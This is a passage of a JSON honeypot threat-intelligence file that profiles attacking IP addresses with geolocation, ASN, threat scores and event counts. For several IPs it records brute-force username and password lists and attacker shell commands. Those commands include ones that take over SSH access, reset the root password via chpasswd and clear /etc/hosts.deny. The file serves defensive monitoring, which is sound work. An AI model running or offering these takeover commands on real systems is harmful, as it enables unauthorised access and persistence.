      "last_seen": "2026-03-10T08:24:21.795Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "New Taipei City",
      "asn": 9416,
      "as_org": "Hoshin Multimedia Center Inc.",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T08:23:49.897000+00:00",
        "last_seen_30d": "2026-03-10T08:25:27.375000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "198.211.114.94": {
      "attack_count": 2,
      "first_seen": "2026-03-24T03:19:09.248Z",
      "last_seen": "2026-03-24T03:19:19.444Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T03:19:09.248000+00:00",
        "last_seen_30d": "2026-03-24T03:20:24.138000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "201.142.160.229": {
      "attack_count": 2,
      "first_seen": "2026-03-31T08:55:37.291Z",
      "last_seen": "2026-03-31T08:55:50.540Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Tijuana",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T08:55:37.291000+00:00",
        "last_seen_30d": "2026-03-31T08:56:58.721000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "209.38.99.29": {
      "attack_count": 2,
      "first_seen": "2026-03-12T19:17:25.726Z",
      "last_seen": "2026-03-12T19:17:26.021Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T19:17:25.726000+00:00",
        "last_seen_30d": "2026-03-12T19:18:33.115000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "219.78.107.148": {
      "attack_count": 2,
      "first_seen": "2026-03-15T15:52:16.918Z",
      "last_seen": "2026-03-15T15:52:16.919Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 4760,
      "as_org": "HKT Limited",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T15:52:16.918000+00:00",
        "last_seen_30d": "2026-03-15T15:53:26.860000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "41.59.50.14": {
      "attack_count": 2,
      "first_seen": "2026-03-16T09:10:14.519Z",
      "last_seen": "2026-03-16T09:10:27.402Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": "Dar es Salaam",
      "asn": 33765,
      "as_org": "TTCLDATA",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T09:10:14.519000+00:00",
        "last_seen_30d": "2026-03-16T09:11:33.505000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.235.61.65": {
      "attack_count": 2,
      "first_seen": "2026-03-30T00:20:18.764Z",
      "last_seen": "2026-03-30T00:20:33.078Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Manoel Viana",
      "asn": 267394,
      "as_org": "AV3M Telecom e Multimidia LTDA",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T00:20:18.764000+00:00",
        "last_seen_30d": "2026-03-30T00:21:37.378000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "77.53.231.107": {
      "attack_count": 2,
      "first_seen": "2026-03-21T07:05:23.358Z",
      "last_seen": "2026-03-21T07:05:36.892Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Ume\u00e5",
      "asn": 29518,
      "as_org": "Bredband2 AB",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T07:05:23.358000+00:00",
        "last_seen_30d": "2026-03-21T07:06:39.227000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "8.219.155.28": {
      "attack_count": 2,
      "first_seen": "2026-03-10T14:17:52.268Z",
      "last_seen": "2026-03-10T14:18:23.065Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T14:17:52.268000+00:00",
        "last_seen_30d": "2026-03-10T14:19:26.886000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "91.230.168.10": {
      "attack_count": 2,
      "first_seen": "2026-03-31T20:03:13.173Z",
      "last_seen": "2026-03-31T20:03:23.384Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 82.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 175,
        "days_active_30d": 30,
        "ports_targeted_30d": 61,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T01:47:43.628000+00:00",
        "last_seen_30d": "2026-03-31T20:04:27.550000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 126,
        "Honeytrap": 47,
        "Cowrie": 2
      }
    },
    "91.230.168.154": {
      "attack_count": 2,
      "first_seen": "2026-03-11T18:08:42.146Z",
      "last_seen": "2026-03-11T18:08:45.149Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 65.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.9,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 62,
        "days_active_30d": 25,
        "ports_targeted_30d": 25,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T15:36:42+00:00",
        "last_seen_30d": "2026-03-26T22:31:16.855000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 36,
        "Honeytrap": 23,
        "Cowrie": 2,
        "Dionaea": 1
      }
    },
    "91.80.155.3": {
      "attack_count": 2,
      "first_seen": "2026-03-19T12:52:01.813Z",
      "last_seen": "2026-03-19T12:52:15.616Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": null,
      "asn": 30722,
      "as_org": "Fastweb",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T12:52:01.813000+00:00",
        "last_seen_30d": "2026-03-19T12:53:23.391000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "143.110.150.202": {
      "attack_count": 3531,
      "first_seen": "2026-03-03T17:25:34.957Z",
      "last_seen": "2026-03-03T18:02:25.391Z",
      "sessions": 705,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "ubuntu",
        "user",
        "ftpuser",
        "admin",
        "test",
        "deployer",
        "kafka",
        "minecraft",
        "odoo",
        "oracle",
        "student",
        "alex",
        "bot",
        "jenkins",
        "steam",
        "ali",
        "debian",
        "web"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "password",
        "P@ssw0rd",
        "12345678",
        "1234",
        "p@ssw0rd",
        "1",
        "12345",
        "root",
        "111",
        "1111",
        "1qaz@WSX",
        "admin",
        "admin123",
        "1234567",
        "0000",
        "11",
        "123123123",
        "123456789"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4951,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T17:25:34.957000+00:00",
        "last_seen_30d": "2026-03-03T18:03:30.207000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3531,
        "Suricata": 1420
      }
    },
    "203.121.106.56": {
      "attack_count": 1998,
      "first_seen": "2026-03-02T00:15:37.889Z",
      "last_seen": "2026-03-31T22:37:18.636Z",
      "sessions": 666,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Kuala Lumpur",
      "asn": 9930,
      "as_org": "TIME dotCom Berhad No. 14, Jalan Majistret U126 Hicom Glenmarie Industrial Park 40150 Shah Al",
      "threat_score": 67.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3996,
        "days_active_30d": 30,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T00:15:37.889000+00:00",
        "last_seen_30d": "2026-03-31T22:38:24.399000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1998,
        "Suricata": 1998
      }
    },
    "80.94.92.186": {
      "attack_count": 1536,
      "first_seen": "2026-03-02T07:05:56.039Z",
      "last_seen": "2026-03-26T09:09:18.201Z",
      "sessions": 305,
      "ports": [],
      "usernames_attempted": [
        "sol",
        "solana",
        "ubuntu",
        "lighthouse",
        "latitude",
        "mapr",
        "solv",
        "eth",
        "ethereum",
        "grafana",
        "jupyter",
        "minima",
        "node",
        "solr",
        "validator"
      ],
      "passwords_attempted": [
        "sol",
        "123456",
        "12345678",
        "solana",
        "ubuntu",
        "123",
        "1234",
        "fuckyou",
        "jito",
        "validator",
        "!QAZ2wsx",
        "1",
        "Password123",
        "eth",
        "ethereum",
        "grafana",
        "jupyter",
        "latitude",
        "lighthouse",
        "lighthouse123"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 52.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 2317,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T06:57:59.473000+00:00",
        "last_seen_30d": "2026-03-26T09:10:26.463000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1536,
        "Suricata": 781
      }
    },
    "103.91.246.101": {
      "attack_count": 1139,
      "first_seen": "2026-03-13T01:04:04.859Z",
      "last_seen": "2026-03-31T07:29:46.403Z",
      "sessions": 99,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude",
        "aaaa",
        "arun",
        "ionadmin",
        "test_user",
        "zoom",
        "admin",
        "antoine",
        "apimobile",
        "awsuser",
        "beehive",
        "bin",
        "client",
        "deploy689",
        "endo",
        "erp",
        "fts",
        "g"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "0plmnko9",
        "112358",
        "123",
        "1234",
        "123456",
        "123456jkl",
        "1234@Abc",
        "1Q2W3E123",
        "1q2w3e4r5T",
        "20241109",
        "258369",
        "2wsxXSW@",
        "87654321@",
        "Aa@112233",
        "Admin@1234",
        "Asdf@1234",
        "Awsuser123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123456\\nVIPyp1q7VpRb\\nVIPyp1q7VpRb\\n\"|passwd",
        "echo \"aaaa\\nUU75ZAQHbBik\\nUU75ZAQHbBik\\n\"|passwd",
        "echo \"password\\nBo2t3y2YC9FN\\nBo2t3y2YC9FN\\n\"|passwd",
        "echo \"password\\nepPjw4eV0INF\\nepPjw4eV0INF\\n\"|passwd",
        "echo \"qwerty\\nv6gusGZ2VUCa\\nv6gusGZ2VUCa\\n\"|passwd",
        "echo \"root:0TachF7pVs9q\"|chpasswd|bash",
        "echo \"root:40c2wYxF6p6e\"|chpasswd|bash",
        "echo \"root:Lp1FYF0iYR9U\"|chpasswd|bash",
        "echo \"root:SCUhCcLUmH7Z\"|chpasswd|bash",
        "echo \"root:e5PP0pfl6g1I\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 140641,
      "as_org": "YOTTA NETWORK SERVICES PRIVATE LIMITED",
      "threat_score": 57.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 1374,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T01:04:04.859000+00:00",
        "last_seen_30d": "2026-03-31T07:30:47.285000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1139,
        "Suricata": 235
      }
    },
    "103.191.92.72": {
      "attack_count": 617,
      "first_seen": "2026-03-10T10:28:17.314Z",
      "last_seen": "2026-03-31T11:41:17.074Z",
      "sessions": 53,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "dspace",
        "jessica",
        "live",
        "sbbs",
        "acer",
        "ahmad",
        "clawd",
        "elaine",
        "gw",
        "legales",
        "linuxadmin",
        "localhost",
        "pilot",
        "teamspeak",
        "telegram",
        "user",
        "ww"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123456",
        "!12345678",
        "!@#$_qwer",
        "123",
        "1234",
        "12345678",
        "123456@Aa",
        "123@com",
        "2024.",
        "20240808",
        "22554466",
        "71717171",
        "Aa123!@#",
        "Admin@#123",
        "Gw123",
        "Jessica123",
        "Live123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345678\\nDo0wvyBN0PDU\\nDo0wvyBN0PDU\\n\"|passwd",
        "echo \"Jessica123\\nkwtpcYFeOcRK\\nkwtpcYFeOcRK\\n\"|passwd",
        "echo \"Live123\\nKtuRfpLEYwJM\\nKtuRfpLEYwJM\\n\"|passwd",
        "echo \"root:3ZUYUh7kS1pl\"|chpasswd|bash",
        "echo \"root:c7lHiEotyhMd\"|chpasswd|bash",
        "echo \"sbbs1234\\nhObOtXR9hikL\\nhObOtXR9hikL\\n\"|passwd",
        "echo -e \"12345678\\nDo0wvyBN0PDU\\nDo0wvyBN0PDU\"|passwd|bash",
        "echo -e \"Jessica123\\nkwtpcYFeOcRK\\nkwtpcYFeOcRK\"|passwd|bash",
        "echo -e \"Live123\\nKtuRfpLEYwJM\\nKtuRfpLEYwJM\"|passwd|bash",
        "echo -e \"sbbs1234\\nhObOtXR9hikL\\nhObOtXR9hikL\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 59.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.7,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 747,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T10:28:17.314000+00:00",
        "last_seen_30d": "2026-03-31T11:42:21.455000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 617,
        "Suricata": 130
      }
    },
    "118.193.33.128": {
      "attack_count": 487,
      "first_seen": "2026-03-13T10:41:42.314Z",
      "last_seen": "2026-03-31T01:21:19.914Z",
      "sessions": 49,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "francisco",
        "gitlabuser",
        "www",
        "Test",
        "alice",
        "bruno",
        "claude",
        "dockeruser",
        "ftpadmin",
        "hr",
        "ionadmin",
        "jitendra",
        "lan",
        "m",
        "mm",
        "peer",
        "solr",
        "test_user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345678",
        "password",
        "123",
        "12345",
        "123456",
        "12345678qwerty",
        "8uhb9ijn",
        "97531",
        "Abcqwe123",
        "Brx123456",
        "Cloud@15305629330",
        "Jitendra123",
        "Lan123!",
        "Mm123",
        "Password12",
        "Peer123",
        "Qq@123123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"1234\\nEmxM2K403T7e\\nEmxM2K403T7e\\n\"|passwd",
        "echo \"password\\n8kC2dumpkQz0\\n8kC2dumpkQz0\\n\"|passwd",
        "echo \"root:9Zmw2fyKZYif\"|chpasswd|bash",
        "echo \"root:vjEWkT8mD8Ea\"|chpasswd|bash",
        "echo -e \"1234\\nEmxM2K403T7e\\nEmxM2K403T7e\"|passwd|bash",
        "echo -e \"password\\n8kC2dumpkQz0\\n8kC2dumpkQz0\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 55.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.8,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 603,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T10:41:42.314000+00:00",
        "last_seen_30d": "2026-03-31T01:22:24.978000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 487,
        "Suricata": 116
      }
    },
    "160.187.147.124": {
      "attack_count": 440,
      "first_seen": "2026-03-04T22:52:30.690Z",
      "last_seen": "2026-03-18T10:02:16.598Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "abc",
        "casaos",
        "craft",
        "init",
        "ceph",
        "erpnext",
        "javier",
        "lx",
        "monica",
        "nick",
        "odoo17",
        "sudev",
        "teamspeak3",
        "ultra",
        "vendas"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "12345",
        "123456",
        "123456@Ab",
        "123abcABC",
        "6666",
        "Ab123456+",
        "Abc123",
        "Abc@111111",
        "Ceph",
        "Init123!",
        "Letmein!",
        "Li123456789",
        "Nick123!",
        "Teamspeak3",
        "Vendas123",
        "alaska"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1234\\nA8iPGoHU3SY1\\nA8iPGoHU3SY1\\n\"|passwd",
        "echo \"Abc123\\nkBXzZGhD6ySQ\\nkBXzZGhD6ySQ\\n\"|passwd",
        "echo \"Init123!\\ncir9gWkbcawy\\ncir9gWkbcawy\\n\"|passwd",
        "echo \"craft123\\nXY1VCqgzdn8V\\nXY1VCqgzdn8V\\n\"|passwd",
        "echo -e \"1234\\nA8iPGoHU3SY1\\nA8iPGoHU3SY1\"|passwd|bash",
        "echo -e \"Abc123\\nkBXzZGhD6ySQ\\nkBXzZGhD6ySQ\"|passwd|bash",
        "echo -e \"Init123!\\ncir9gWkbcawy\\ncir9gWkbcawy\"|passwd|bash",
